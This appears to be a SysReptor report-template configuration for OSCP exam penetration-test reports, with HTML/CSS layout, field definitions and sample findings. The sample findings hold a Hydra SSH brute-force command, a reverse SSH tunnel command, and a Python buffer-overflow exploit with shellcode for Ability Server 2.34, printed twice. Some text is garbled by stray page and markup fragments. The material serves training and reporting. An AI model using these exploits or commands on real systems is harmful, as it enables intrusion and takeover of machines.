+""" +initialaccess = """ +**Vulnerability Explanation:** The user account on the Ajla host was protected by a trivial password that was cracked within 5 minutes of brute-forcing. + +**Vulnerability Fix:** The SSH service should be configured to not accept password-based logins and the user account itself should contain a unique password not contained in the publicly available wordlists. + +**Steps to reproduce the attack:** om the initial service scan John discovered that this host is called Ajla. After adding the target’s IP to the /etc/hosts file, the Hydra tool was run against the SSH service using the machine’s DNS name instead of its IP. With the extracted password at hand John was able to log in as ajla using SSH. + +``` +hydra -l ajla -P /home/kali/rockyou.txt -T 20 sandbox.local ssh +``` + +![Screenshot](/images/name/grafik-5026.jpg) +""" +postexploitation = """ +**System Proof Screenshot:** + +![](/images/name/grafik-58203.jpg) + +After collecting the proof files and establishing a backdoor using SSH, John began the enumeration of the filesystem for the presence of interesting files. He noticed that there was a mounted share originating from the 10.5.5.20 IP. Inspecting a custom sysreport.ps1 script in the /mnt/scripts directory he found cleartext credentials for the “sandbox\\alex” user. Taking into consideration the type of scripts in this directory and the username structure, it seems that the “Poultry” host is a part of the Active Directory environment. + +![](/images/name/grafik-54644.jpg) + +John began the lateral movement by establishing a reverse dynamic port forwarding using SSH. First, he generated a new pair of SSH keys and added those to the authorized_keys file on his Kali VM, then he just needed to issue a single SSH port forwarding command: + +``` +ssh-keygen -t rsa -N ‘’ -f ~/.ssh/key +ssh -f -N -R 1080 -o “UserKnownHostsFile=/dev/null” -o “StrictHostKeyChecking=no” -I key kali@192.168.119.164 +``` + +With the dynamic reverse tunnel established, John only needed to edit the /etc/proxychains.conf to use the port 1080. +""" +isActiveDirectory = true +privilegeescalation = """ +**Vulnerability Explation:** sudo group allows any user in this group to escalate privileges to the root if +they know the user’s password. + +**Vulnerability Fix:** The SSH service should be configured to not accept password-based logins and the user account itself should contain a unique password not contained in the publicly available wordlists. + +**Steps to reproduce the attack:** John spotted that the ajla user was a member of the sudo group immediately upon logging in and using the “id” command. And knowing user’s password, he only needed to use a single command “sudo su” in order to obtain a root shell. + +![Screenshot](/images/name/grafik-32877.jpg) +""" +hostname = "TODO: fill field in report" + +[[findings]] +id = "2736e064-c217-4a29-a136-35af9a219ef3" +status = "finished" + +[findings.data] +title = "Target #1" +cvss = "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" +ip_address = "172.16.203.134" +serviceenum = """ +**Port Scan Results** + +| IP Address | Ports Open | +| ------- | ------- | +| 172.16.203.134 | **TCP:** 22, 79, 80, 105, 106, 110, 135, 139, 143, 445, 2224, 3306, 3389 | + +**FTP Enumeration** +Upon manual enumeration of the available FTP service, John noticed it was running an outdated version 2.3.4 that is prone to the remote buffer overflow vulnerability. +""" +initialaccess = """ +**Vulnerability Explanation:** Ability Server 2.34 is subject to a buffer overflow vulnerability in STOR field. Attackers can use this vulnerability to cause arbitrary remote code execution and take completely control over the system. + +**Vulnerability Fix:** The publishers of the Ability Server have issued a patch to fix this known issue. It can be found here: [http://www.code-crafters.com/abilityserver/](http://www.code-crafters.com/abilityserver/) + +**Steps to reproduce the attack:** The operating system was different from the known public exploit. A rewritten exploit was needed in order for successful code execution to occur. Once the exploit was rewritten, a targeted attack was performed on the system which gave John full administrative access over the system. + +**Proof of Concept Code:** +```python +################################### +# Ability Server 2.34 FTP STOR Buffer Overflow # Advanced, secure and easy to use FTP Server. # 21 Oct 2004 - muts ################################### +# D:\\BO>ability-2.34-ftp-stor.py ################################### +# D:\\data\\tools>nc -v 127.0.0.1 4444 +# localhost [127.0.0.1] 4444 (?) open +# Microsoft Windows XP [Version 5.1.2600] +# (C) Copyright 1985-2001 Microsoft Corp. +# D:\\Program Files\\abilitywebserver> ################################### +import ftplib +from ftplib import FTP +import struct +print "\\n\\n################################" +print "\\nAbility Server 2.34 FTP STOR buffer Overflow" print "\\nFor Educational Purposes Only!\\n" +print "###################################" +# Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow Tutorial" +sc = "\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x31\\xc9\\xb1\\x5e\\x81\\x73\\x17\\xe0\\x66" + 8 | Page + sc += "\\x1c\\xc2\\x83\\xeb\\xfc\\xe2\\xf4\\x1c\\x8e\\x4a\\xc2\\xe0\\x66\\x4f\\x97\\xb6" sc += "\\x1a\\x38\\xd6\\x95\\x87\\x97\\x98\\xc4\\x67\\xf7\\xa4\\x6b\\x6a\\x57\\x49\\xba" sc += "\\x7a\\x1d\\x29\\x6b\\x62\\x97\\xc3\\x08\\x8d\\x1e\\xf3\\x20\\x39\\x42\\x9f\\xbb" sc += "\\xa4\\x14\\xc2\\xbe\\x0c\\x2c\\x9b\\x84\\xed\\x05\\x49\\xbb\\x6a\\x97\\x99\\xfc" sc += "\\xed\\x07\\x49\\xbb\\x6e\\x4f\\xaa\\x6e\\x28\\x12\\x2e\\x1f\\xb0\\x95\\x05\\x61" sc += "\\x8a\\x1c\\xc3\\xe0\\x66\\x4b\\x94\\xb3\\xef\\xf9\\x2a\\xc7\\x66\\x1c\\xc2\\x70" sc += "\\x67\\x1c\\xc2\\x56\\x7f\\x04\\x25\\x44\\x7f\\x6c\\x2b\\x05\\x2f\\x9a\\x8b\\x44" sc += "\\x7c\\x6c\\x05\\x44\\xcb\\x32\\x2b\\x39\\x6f\\xe9\\x6f\\x2b\\x8b\\xe0\\xf9\\xb7" sc += "\\x35\\x2e\\x9d\\xd3\\x54\\x1c\\x99\\x6d\\x2d\\x3c\\x93\\x1f\\xb1\\x95\\x1d\\x69" sc += "\\xa5\\x91\\xb7\\xf4\\x0c\\x1b\\x9b\\xb1\\x35\\xe3\\xf6\\x6f\\x99\\x49\\xc6\\xb9" sc += "\\xef\\x18\\x4c\\x02\\x94\\x37\\xe5\\xb4\\x99\\x2b\\x3d\\xb5\\x56\\x2d\\x02\\xb0" sc += "\\x36\\x4c\\x92\\xa0\\x36\\x5c\\x92\\x1f\\x33\\x30\\x4b\\x27\\x57\\xc7\\x91\\xb3" sc += "\\x0e\\x1e\\xc2\\xf1\\x3a\\x95\\x22\\x8a\\x76\\x4c\\x95\\x1f\\x33\\x38\\x91\\xb7" sc += "\\x99\\x49\\xea\\xb3\\x32\\x4b\\x3d\\xb5\\x46\\x95\\x05\\x88\\x25\\x51\\x86\\xe0" sc += "\\xef\\xff\\x45\\x1a\\x57\\xdc\\x4f\\x9c\\x42\\xb0\\xa8\\xf5\\x3f\\xef\\x69\\x67" sc += "\\x9c\\x9f\\x2e\\xb4\\xa0\\x58\\xe6\\xf0\\x22\\x7a\\x05\\xa4\\x42\\x20\\xc3\\xe1" sc += "\\xef\\x60\\xe6\\xa8\\xef\\x60\\xe6\\xac\\xef\\x60\\xe6\\xb0\\xeb\\x58\\xe6\\xf0" sc += "\\x32\\x4c\\x93\\xb1\\x37\\x5d\\x93\\xa9\\x37\\x4d\\x91\\xb1\\x99\\x69\\xc2\\x88" sc += "\\x14\\xe2\\x71\\xf6\\x99\\x49\\xc6\\x1f\\xb6\\x95\\x24\\x1f\\x13\\x1c\\xaa\\x4d" sc += "\\xbf\\x19\\x0c\\x1f\\x33\\x18\\x4b\\x23\\x0c\\xe3\\x3d\\xd6\\x99\\xcf\\x3d\\x95" sc += "\\x66\\x74\\x32\\x6a\\x62\\x43\\x3d\\xb5\\x62\\x2d\\x19\\xb3\\x99\\xcc\\xc2" +# Change RET address if need be. +buffer = '\\x41'*966+struct.pack(' + + + + +
{{ report.osid }}
+ + + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+ +
+ + + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + # Offensive Security OSCP Exam Penetration Test Report {.in-toc.numbered} + + ## Introduction {.in-toc .numbered} + The Offensive Security Lab and Exam penetration test report contains all efforts that were conducted in order to pass the Offensive Security course. This report should contain all items that were used to pass the overall exam and it will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Certified Professional. + + ## Objective {.in-toc.numbered} + The objective of this assessment is to perform an internal penetration test against the Offensive Security Lab and Exam network. The student is tasked with following methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report. An ex-ample page has already been created for you at the latter portions of this document that should give you ample information on what is expected to pass this course. Use the sample report as a guideline to get you through the reporting. + + ## Requirements {.in-toc.numbered} + The student will be required to fill out this penetration testing report fully and to include the following sections: + * Overall High-Level Summary and Recommendations (non-technical) + * Methodology walkthrough and detailed outline of steps taken + * Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable. + * Any additional items that were not included + + + + +
+

High-Level Summary

+ + +
+

Recommendations

+ +
+ +
+

Identified Vulnerabilities

+

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ + + + + + + + + + + + + + + + + +
Target NameIPCVSSPage
+
+
+ + +
+

Methodologies

+ + +

Information Gathering

+ + +

Service Enumeration

+ + +

Penetration

+ + +

Maintaining Access

+ + +

House Cleaning

+ +
+ + +
+

Independent Challenges

+
+

{{ finding.title }} ({{ finding.ip_address }})

+ + + + + + + + + +
Score: + {{ finding.cvss.score}} ({{ lodash.capitalize(finding.cvss.level) }}) +
Vector:{{ finding.cvss.vector || 'n/a' }}
+ +
+

Service Enumeration

+ +
+
+

Initial Access

+ +
+ +
+

Privilege Escalation

+ +
+ +
+

Post-Exploitation

+ +
+ +
+
+ +
+

Active Directory Set

+
+

{{ finding.title }} ({{ finding.ip_address }})

+ + + + + + + + + +
Score: + {{ finding.cvss.score}} ({{ lodash.capitalize(finding.cvss.level) }}) +
Vector:{{ finding.cvss.vector || 'n/a' }}
+ +
+

Service Enumeration

+ +
+
+

Initial Access

+ +
+ +
+

Privilege Escalation

+ +
+ +
+

Post-Exploitation

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: #E83221; +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[project_type.report_fields] +[project_type.report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSCP Penetration Test Report" +required = true +spellcheck = true + +[project_type.report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[project_type.report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[project_type.report_fields.lastname] +type = "string" +label = "lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[project_type.report_fields.firstname] +type = "string" +label = "firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[project_type.report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[project_type.report_fields.methodology] +type = "markdown" +label = "Methodologies" +origin = "custom" +default = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) utilized a widely adopted approach to perform penetration testing that is effective in testing how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to identify and exploit the variety of systems and includes all individual vulnerabilities found. + +TODO Adapt as required +""" +required = true + +[project_type.report_fields.penetration] +type = "markdown" +label = "Penetration" +origin = "custom" +default = """ +The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to successfully gain access to 10 out of the 50 systems. + +TODO Adapt as required +""" +required = true + +[project_type.report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[project_type.report_fields.serviceenum] +type = "markdown" +label = "Service Enumeration" +origin = "custom" +default = """ +The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed. + +TODO Adapt as required +""" +required = true + +[project_type.report_fields.housecleaning] +type = "markdown" +label = "House Cleaning" +origin = "custom" +default = """ +The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important. + +After the trophies on both the lab network and exam network were completed, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system. + +TODO Adapt as required +""" +required = true + +[project_type.report_fields.infogathering] +type = "markdown" +label = "Information Gathering" +origin = "custom" +default = """ +The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with exploiting the lab and exam network. The specific IP addresses were: + +**Exam Network:** + +* 172.16.203.133 +* 172.16.203.134 +* 172.16.203.135 +* 172.16.203.136 + +TODO Adapt as required +""" +required = true + +[project_type.report_fields.maintainaccess] +type = "markdown" +label = "Maintaining Access" +origin = "custom" +default = """ +Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit. + +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established. + +TODO Adapt as required +""" +required = true + +[project_type.report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[project_type.report_fields.recommendations] +type = "markdown" +label = "Recommendations" +origin = "custom" +default = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date. + +TODO Adapt as required +""" +required = true + +[project_type.report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[project_type.report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[project_type.report_fields.appendix_sections.items.properties] +[project_type.report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[project_type.report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO appendix content" +required = true + +[project_type.report_fields.highlevel_summary] +type = "markdown" +label = "High-Level Summary" +origin = "custom" +default = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. {{ report.firstname }} {{ report.lastname}}’s ({{ report.osid}}) overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security. + +When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) had administrative level access to multiple systems. All systems were successfully exploited and access granted. + +TODO Adapt summary as required +""" +required = true + +[[project_type.report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[project_type.report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[project_type.report_sections]] +id = "high-level_summary" +label = "High-Level Summary" +fields = [ + "highlevel_summary", + "recommendations", +] + +[[project_type.report_sections]] +id = "methodology" +label = "Methodologies" +fields = [ + "methodology", + "infogathering", + "serviceenum", + "penetration", + "maintainaccess", + "housecleaning", +] + +[[project_type.report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[project_type.finding_fields] +[project_type.finding_fields.title] +type = "string" +label = "Target Name" +origin = "core" +default = "TODO Target Name" +required = true +spellcheck = true + +[project_type.finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "core" +default = "n/a" +required = true + +[project_type.finding_fields.ip_address] +type = "string" +label = "IP Address" +origin = "custom" +default = "TODO IP Address" +required = true +spellcheck = false + +[project_type.finding_fields.serviceenum] +type = "markdown" +label = "Service Enumeration" +origin = "custom" +default = """ +**Port Scan Results** + +| IP Address | Ports Open | +| ------- | ------- | +| TODO | TODO **TCP:** **UDP:** + +TODO +* `nmap -Pn -n 8.8.8.8 | grep open | cut -d/ -f1 | sed 'N;s/\\n/, /g'` for comma separated TCP ports +* `nmap -sU -Pn -n 8.8.8.8 | grep open | cut -d/ -f1 | sed 'N;s/\\n/, /g'` for comma separated UDP ports + +**TODO further enumeration results** +""" +required = true + +[project_type.finding_fields.initialaccess] +type = "markdown" +label = "Initial Access" +origin = "custom" +default = """ +**Vulnerability Explation:** TODO + +**Vulnerability Fix:** TODO + +**Steps to reproduce the attack:** TODO + +**Proof of Concept Code:** TODO +""" +required = true + +[project_type.finding_fields.postexploitation] +type = "markdown" +label = "Post Exploitation" +origin = "custom" +default = "**System Proof Screenshot:** TODO" +required = true + +[project_type.finding_fields.isActiveDirectory] +type = "boolean" +label = "is Active Directory Set?" +origin = "custom" +default = false + +[project_type.finding_fields.privilegeescalation] +type = "markdown" +label = "Privilege Escalation" +origin = "custom" +default = """ +**Vulnerability Explanation:** TODO + +**Vulnerability Fix:** TODO + +**Steps to reproduce the attack:** TODO + +**Proof of Concept Code:** TODO +""" +required = true + +[project_type.report_preview_data] +[project_type.report_preview_data.report] +title = "OSCP Penetration Test Report" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +methodology = "{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) utilized a widely adopted approach to perform penetration testing that is effective in testing how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to identify and exploit the variety of systems and includes all individual vulnerabilities found." +penetration = "The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to successfully gain access to 10 out of the 50 systems." +report_date = "2022-07-29" +serviceenum = "The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed." +housecleaning = """ +The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important. + +After the trophies on both the lab network and exam network were completed, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system. +""" +infogathering = """ +The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with exploiting the lab and exam network. The specific IP addresses were: + +**Exam Network:** + +* 172.16.203.133 +* 172.16.203.134 +* 172.16.203.135 +* 172.16.203.136 +""" +maintainaccess = """ +Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit. + +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established. + +""" +report_version = "1.0" +recommendations = "{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date." +appendix_sections = [] +highlevel_summary = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. {{ report.firstname }} {{ report.lastname}}’s ({{ report.osid}}) overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security. + +When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) had administrative level access to multiple systems. All systems were successfully exploited and access granted. +""" +firstname = "John" +lastname = "Doe" + +[[project_type.report_preview_data.findings]] +title = "Target #1" +cvss = "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" +id = "c7f12f17-96bf-4899-b10f-2b1a513382e8" +ip_address = "172.16.203.134" +serviceenum = """ +**Port Scan Results** + +| IP Address | Ports Open | +| ------- | ------- | +| 172.16.203.134 | **TCP:** 22, 79, 80, 105, 106, 110, 135, 139, 143, 445, 2224, 3306, 3389 | + +**FTP Enumeration** +Upon manual enumeration of the available FTP service, John noticed it was running an outdated version 2.3.4 that is prone to the remote buffer overflow vulnerability. +""" +initialaccess = """ +**Vulnerability Explanation:** Ability Server 2.34 is subject to a buffer overflow vulnerability in STOR field. Attackers can use this vulnerability to cause arbitrary remote code execution and take completely control over the system. + +**Vulnerability Fix:** The publishers of the Ability Server have issued a patch to fix this known issue. It can be found here: [http://www.code-crafters.com/abilityserver/](http://www.code-crafters.com/abilityserver/) + +**Steps to reproduce the attack:** The operating system was different from the known public exploit. A rewritten exploit was needed in order for successful code execution to occur. Once the exploit was rewritten, a targeted attack was performed on the system which gave John full administrative access over the system. + +**Proof of Concept Code:** +```python highlight-manual +################################### +# Ability Server 2.34 FTP STOR Buffer Overflow # Advanced, secure and easy to use FTP Server. # 21 Oct 2004 - muts ################################### +# D:\\BO>ability-2.34-ftp-stor.py ################################### +# D:\\data\\tools>nc -v 127.0.0.1 4444 +# localhost [127.0.0.1] 4444 (?) open +# Microsoft Windows XP [Version 5.1.2600] +# (C) Copyright 1985-2001 Microsoft Corp. +# D:\\Program Files\\abilitywebserver> ################################### + +import ftplib +from ftplib import FTP +import struct + +print "\\n\\n################################" +print "\\nAbility Server 2.34 FTP STOR buffer Overflow" print "\\nFor Educational Purposes Only!\\n" +print "###################################" + +# Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow Tutorial" +sc = "\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x31\\xc9\\xb1\\x5e\\x81\\x73\\x17\\xe0\\x66" +sc += "\\x1c\\xc2\\x83\\xeb\\xfc\\xe2\\xf4\\x1c\\x8e\\x4a\\xc2\\xe0\\x66\\x4f\\x97\\xb6" +sc += "\\x1a\\x38\\xd6\\x95\\x87\\x97\\x98\\xc4\\x67\\xf7\\xa4\\x6b\\x6a\\x57\\x49\\xba" +sc += "\\x7a\\x1d\\x29\\x6b\\x62\\x97\\xc3\\x08\\x8d\\x1e\\xf3\\x20\\x39\\x42\\x9f\\xbb" +sc += "\\xa4\\x14\\xc2\\xbe\\x0c\\x2c\\x9b\\x84\\xed\\x05\\x49\\xbb\\x6a\\x97\\x99\\xfc" +sc += "\\xed\\x07\\x49\\xbb\\x6e\\x4f\\xaa\\x6e\\x28\\x12\\x2e\\x1f\\xb0\\x95\\x05\\x61" +sc += "\\x8a\\x1c\\xc3\\xe0\\x66\\x4b\\x94\\xb3\\xef\\xf9\\x2a\\xc7\\x66\\x1c\\xc2\\x70" +sc += "\\x67\\x1c\\xc2\\x56\\x7f\\x04\\x25\\x44\\x7f\\x6c\\x2b\\x05\\x2f\\x9a\\x8b\\x44" +sc += "\\x7c\\x6c\\x05\\x44\\xcb\\x32\\x2b\\x39\\x6f\\xe9\\x6f\\x2b\\x8b\\xe0\\xf9\\xb7" +sc += "\\x35\\x2e\\x9d\\xd3\\x54\\x1c\\x99\\x6d\\x2d\\x3c\\x93\\x1f\\xb1\\x95\\x1d\\x69" +sc += "\\xa5\\x91\\xb7\\xf4\\x0c\\x1b\\x9b\\xb1\\x35\\xe3\\xf6\\x6f\\x99\\x49\\xc6\\xb9" +sc += "\\xef\\x18\\x4c\\x02\\x94\\x37\\xe5\\xb4\\x99\\x2b\\x3d\\xb5\\x56\\x2d\\x02\\xb0" +sc += "\\x36\\x4c\\x92\\xa0\\x36\\x5c\\x92\\x1f\\x33\\x30\\x4b\\x27\\x57\\xc7\\x91\\xb3" +sc += "\\x0e\\x1e\\xc2\\xf1\\x3a\\x95\\x22\\x8a\\x76\\x4c\\x95\\x1f\\x33\\x38\\x91\\xb7" +sc += "\\x99\\x49\\xea\\xb3\\x32\\x4b\\x3d\\xb5\\x46\\x95\\x05\\x88\\x25\\x51\\x86\\xe0" +sc += "\\xef\\xff\\x45\\x1a\\x57\\xdc\\x4f\\x9c\\x42\\xb0\\xa8\\xf5\\x3f\\xef\\x69\\x67" +sc += "\\x9c\\x9f\\x2e\\xb4\\xa0\\x58\\xe6\\xf0\\x22\\x7a\\x05\\xa4\\x42\\x20\\xc3\\xe1" +sc += "\\xef\\x60\\xe6\\xa8\\xef\\x60\\xe6\\xac\\xef\\x60\\xe6\\xb0\\xeb\\x58\\xe6\\xf0" +sc += "\\x32\\x4c\\x93\\xb1\\x37\\x5d\\x93\\xa9\\x37\\x4d\\x91\\xb1\\x99\\x69\\xc2\\x88" +sc += "\\x14\\xe2\\x71\\xf6\\x99\\x49\\xc6\\x1f\\xb6\\x95\\x24\\x1f\\x13\\x1c\\xaa\\x4d" +sc += 